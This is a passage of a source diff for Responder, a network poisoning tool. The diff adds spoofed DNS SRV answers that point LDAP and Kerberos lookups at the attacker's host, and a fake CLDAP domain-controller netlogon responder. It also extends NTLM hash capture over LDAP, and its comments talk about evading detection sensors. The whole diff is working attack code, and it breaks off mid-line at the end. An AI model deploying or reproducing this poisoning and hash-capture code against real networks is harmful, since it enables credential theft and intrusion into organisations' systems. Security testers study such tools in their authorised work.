diff --git a/Responder.py b/Responder.py index 807b376..d019fea 100755 --- a/Responder.py +++ b/Responder.py @@ -307,8 +307,9 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,))) if settings.Config.LDAP_On_Off: - from servers.LDAP import LDAP + from servers.LDAP import LDAP, CLDAP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) + threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP diff --git a/packets.py b/packets.py index 6525497..8826015 100644 --- a/packets.py +++ b/packets.py @@ -18,6 +18,8 @@ import struct import settings import codecs +import random +import re from os import urandom from base64 import b64decode, b64encode from odict import OrderedDict @@ -38,6 +40,10 @@ class Packet(): def __str__(self): return "".join(map(str, self.fields.values())) +def GenerateCallbackName(): + return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) + + # NBT Answer Packet class NBT_Ans(Packet): fields = OrderedDict([ @@ -65,7 +71,7 @@ class NBT_Ans(Packet): class DNS_Ans(Packet): fields = OrderedDict([ ("Tid", ""), - ("Flags", "\x80\x10"), + ("Flags", "\x85\x10"), ("Question", "\x00\x01"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), @@ -88,6 +94,81 @@ class DNS_Ans(Packet): self.fields["IP"] = RespondWithIPAton() self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +class DNS_SRV_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x80"), + ("Question", "\x00\x01"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x01"), + ("QuestionName", ""), + ("QuestionNameNull", "\x00"), + ("Type", "\x00\x21"),#srv + ("Class", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x21"),#srv + ("Class1", "\x00\x01"), + ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("RecordLen", ""), + ("Priority", "\x00\x00"), + ("Weight", "\x00\x64"), + ("Port", "\x00\x00"), + ("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default. + ("TargetPrefix", ""), + ("TargetLenSuff", ""), + ("TargetSuffix", ""), + ("TargetLenSuff2", ""), + ("TargetSuffix2", ""), + ("TargetNull", "\x00"), + ("AnswerAPointer", "\xc0"), + ("AnswerAPtrOffset", ""), + ("Type2", "\x00\x01"),#A record. + ("Class2", "\x00\x01"), + ("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long.. + ("IPLen", "\x00\x04"), + ("IP", "\x00\x00\x00\x00"), + ]) + + def calculate(self,data): + self.fields["Tid"] = data[0:2] + DNSName = ''.join(data[12:].split('\x00')[:1]) + SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld + + #What's the question? we need it first to calc all other len. + self.fields["QuestionName"] = DNSName + + #Want to be detected that easily by xyz sensor? + self.fields["TargetPrefix"] = "win-"+GenerateCallbackName() + + #two last parts of the domain are the actual Domain name.. eg: contoso.com + self.fields["TargetSuffix"] = SplitFQDN[-2] + self.fields["TargetSuffix2"] = SplitFQDN[-1] + #We calculate the len for that domain... + self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"]) + self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"]) + + # Calculate Record len. + CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"] + + #Our answer len.. + self.fields["RecordLen"] = StructPython2or3(">h",CalcLen) + + #Where is Answer A Pointer... + CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen + self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4) + + #for now we support ldap and kerberos... + if "ldap" in DNSName: + self.fields["Port"] = StructWithLenPython2or3(">h", 389) + + if "kerberos" in DNSName: + self.fields["Port"] = StructWithLenPython2or3(">h", 88) + + #Last but not least... we provide our IP, so computers can enjoy our services. + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + # LLMNR Answer Packet class LLMNR_Ans(Packet): fields = OrderedDict([ @@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet): self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("B", len(CalculateNetlogonLen)) + self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2) + self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32) + self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42) + ###### + self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1) + ##### SMB Packets ##### class SMBHeader(Packet): fields = OrderedDict([ diff --git a/servers/DNS.py b/servers/DNS.py index 294b146..045264e 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import * -from packets import DNS_Ans +from packets import DNS_Ans, DNS_SRV_Ans if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: @@ -23,9 +23,11 @@ else: def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] - # If Type A, Class IN, then answer. - return QueryTypeClass == "\x00\x01\x00\x01" + if QueryTypeClass == "\x00\x01\x00\x01": + return "A" + if QueryTypeClass == "\x00\x21\x00\x01": + return "SRV" @@ -37,12 +39,19 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + buff = DNS_SRV_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass @@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + + if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + buff = DNS_SRV_Ans() + buff.calculate(NetworkRecvBufferPython2or3(data)) + self.request.send(NetworkSendBufferPython2or3(buff)) + ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) + print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) except Exception: pass diff --git a/servers/LDAP.py b/servers/LDAP.py index bf8ba84..2ea817a 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)): from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler -from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon from utils import * import struct import codecs +import random + +def GenerateNetbiosName(): + return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)]) + +def CalculateDNSName(name): + if isinstance(name, bytes): + name = name.decode('latin-1') + name = name.split(".") + DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0] + Dnslen = '' + for x in name: + if len(x) >=1: + Dnslen += struct.pack('B', len(x)).decode('latin-1')+x + + return Dnslen, DomainPrefix + +def ParseCLDAPNetlogon(data): + #data = NetworkSendBufferPython2or3(data) + try: + Dns = data.find(b'DnsDomain') + if Dns is -1: + return False + DnsName = data[Dns+9:] + DnsGuidOff = data.find(b'DomainGuid') + if DnsGuidOff is -1: + return False + Guid = data[DnsGuidOff+10:] + if Dns: + DomainLen = struct.unpack(">B", DnsName[1:2])[0] + DomainName = DnsName[2:2+DomainLen] + + if Guid: + DomainGuidLen = struct.unpack(">B", Guid[1:2])[0] + DomainGuid = Guid[2:2+DomainGuidLen] + return DomainName, DomainGuid + except: + pass + def ParseSearch(data): + TID = data[8:9].decode('latin-1') + if re.search(b'Netlogon', data): + NbtName = GenerateNetbiosName() + TID = NetworkRecvBufferPython2or3(data[8:10]) + DomainName, DomainGuid = ParseCLDAPNetlogon(data) + DomainGuid = NetworkRecvBufferPython2or3(DomainGuid) + t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1]) + t.calculate() + return str(t) + if re.search(b'(objectClass)', data): - return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1'))) + return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): - return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): - return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) + return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 SSPIStart = data.find(b'NTLMSSP') @@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge): elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data): ParseLDAPHash(data, client, Challenge) +def ParseCLDAPPacket(data, client, Challenge): + if data[1:2] == b'\x84': + PacketLen = struct.unpack('>i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack('i',data[2:6])[0] @@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge): sasl = data[20:21] OperationHeadLen = struct.unpack('>i',data[11:15])[0] LDAPVersion = struct.unpack('